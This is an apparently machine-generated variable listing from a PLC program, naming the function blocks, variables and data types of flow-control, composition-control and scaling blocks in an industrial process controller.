+2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; 